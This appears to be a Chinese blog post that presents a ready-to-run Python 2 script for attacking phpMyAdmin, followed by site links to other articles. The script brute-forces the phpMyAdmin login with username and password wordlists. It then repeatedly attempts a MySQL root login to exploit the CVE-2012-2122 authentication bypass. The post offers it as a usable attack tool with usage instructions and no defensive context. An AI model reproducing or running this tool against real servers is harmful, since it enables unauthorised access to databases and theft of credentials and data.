Python写的PHPMyAdmin暴力破解工具代码


Posted in Python onAugust 06, 2014

PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。

#!/usr/bin/env python
import urllib 
import urllib2 
import cookielib 
import sys
import subprocess
def Crack(url,username,password):
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) 
	headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
	params = urllib.urlencode({'pma_username': username, 'pma_password': password})
	request = urllib2.Request(url+"/index.php", params,headers)
	response = opener.open(request) 
	a=response.read() 
	if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:
		return username,password
	return 0
def MySQLAuthenticationBypassCheck(host,port):
	i=0
	while i<300:
		i=i+1
		subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait()
if __name__ == '__main__':
	if len(sys.argv)<4:
		print "#author:iswin\n#useage python pma.py https://3water.com/phpmyadmin/ username.txt password.txt"
		sys.exit()
	print "Bruting,Pleas wait..."
	for name in open(sys.argv[2],"r"):
		for passw in open(sys.argv[3],"r"):
			state=Crack(sys.argv[1],name,passw)
			if state!=0:
				print "\nBrute successful"
				print "UserName: "+state[0]+"PassWord: "+state[1]
				sys.exit()
	print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck"
	choice=raw_input('Warning:This function needs mysql environment.\nY:Try to MySQLAuthenticationBypassCheck\nOthers:Exit\n')
	if choice=='Y' or choice=='y':
		host=raw_input('Host:')
		port=raw_input('Port:')
		MySQLAuthenticationBypassCheck(host,port)
Python 相关文章推荐
Python中endswith()函数的基本使用
Apr 07 Python
在Python的web框架中编写创建日志的程序的教程
Apr 30 Python
Python中zfill()方法的使用教程
May 20 Python
Python插件virtualenv搭建虚拟环境
Nov 20 Python
Python实现霍夫圆和椭圆变换代码详解
Jan 12 Python
对python内置map和six.moves.map的区别详解
Dec 19 Python
Python 实现敏感目录扫描的示例代码
May 21 Python
python3.6.5基于kerberos认证的hive和hdfs连接调用方式
Jun 06 Python
Pandas替换及部分替换(replace)实现流程详解
Oct 12 Python
PyCharm Community安装与配置的详细教程
Nov 24 Python
python文件路径操作方法总结
Dec 21 Python
如何利用python创作字符画
Jun 25 Python
Python写的Discuz7.2版faq.php注入漏洞工具
Aug 06 #Python
Python常用列表数据结构小结
Aug 06 #Python
Python生成pdf文件的方法
Aug 04 #Python
Tornado Web服务器多进程启动的2个方法
Aug 04 #Python
Python通过解析网页实现看报程序的方法
Aug 04 #Python
基于Python实现的扫雷游戏实例代码
Aug 01 #Python
python脚本实现查找webshell的方法
Jul 31 #Python
You might like
怎样在PHP中通过ADO调用Asscess数据库和COM程序
2006/10/09 PHP
thinkphp5.0自定义验证规则使用方法
2017/11/16 PHP
PHP类的自动加载机制实现方法分析
2019/01/10 PHP
用JavaScript实现类似于ListBox功能示例代码
2014/03/09 Javascript
node.js中的require使用详解
2014/12/15 Javascript
浅析JavaScript动画模拟拖拽原理
2016/12/09 Javascript
浅谈React组件之性能优化
2018/03/02 Javascript
Angular5中调用第三方库及jQuery的添加的方法
2018/06/07 jQuery
Vue中在新窗口打开页面及Vue-router的使用
2018/06/13 Javascript
JavaScript学习笔记之数组基本操作示例
2019/01/09 Javascript
详解一次Vue低版本安卓白屏问题的解决过程
2019/05/30 Javascript
浅析微信小程序modal弹窗关闭默认会执行cancel问题
2019/10/14 Javascript
vue 使用async写数字动态加载效果案例
2020/07/18 Javascript
解决vue+router路由跳转不起作用的一项原因
2020/07/19 Javascript
JS继承实现方法及优缺点详解
2020/09/02 Javascript
JavaScript实现点击图片换背景
2020/11/20 Javascript
Python中atexit模块的基本使用示例
2015/07/08 Python
一篇文章入门Python生态系统(Python新手入门指导)
2015/12/11 Python
在DigitalOcean的服务器上部署flaskblog应用
2015/12/19 Python
python中利用xml.dom模块解析xml的方法教程
2017/05/24 Python
python数据预处理之将类别数据转换为数值的方法
2017/07/05 Python
Python实现动态添加属性和方法操作示例
2018/07/25 Python
flask框架路由常用定义方式总结
2019/07/23 Python
Python爬虫如何应对Cloudflare邮箱加密
2020/06/24 Python
健身场所或家用健身设备:Life Fitness
2017/11/01 全球购物
No7 Beauty美国官网:英国国民护肤品牌
2019/10/31 全球购物
关心下一代工作先进事迹
2014/08/15 职场文书
工商局局长个人对照检查材料思想汇报
2014/09/23 职场文书
教师党员学习十八届四中全会思想汇报
2014/11/03 职场文书
投资意向协议书
2015/01/29 职场文书
2015年酒店工作总结
2015/04/28 职场文书
质量承诺书格式范文
2015/04/28 职场文书
六年级语文教学反思
2016/03/03 职场文书
浅谈如何写好演讲稿?
2019/06/12 职场文书
springboot如何初始化执行sql语句
2021/06/22 Java/Android
node.js使用express-fileupload中间件实现文件上传
2021/07/16 Javascript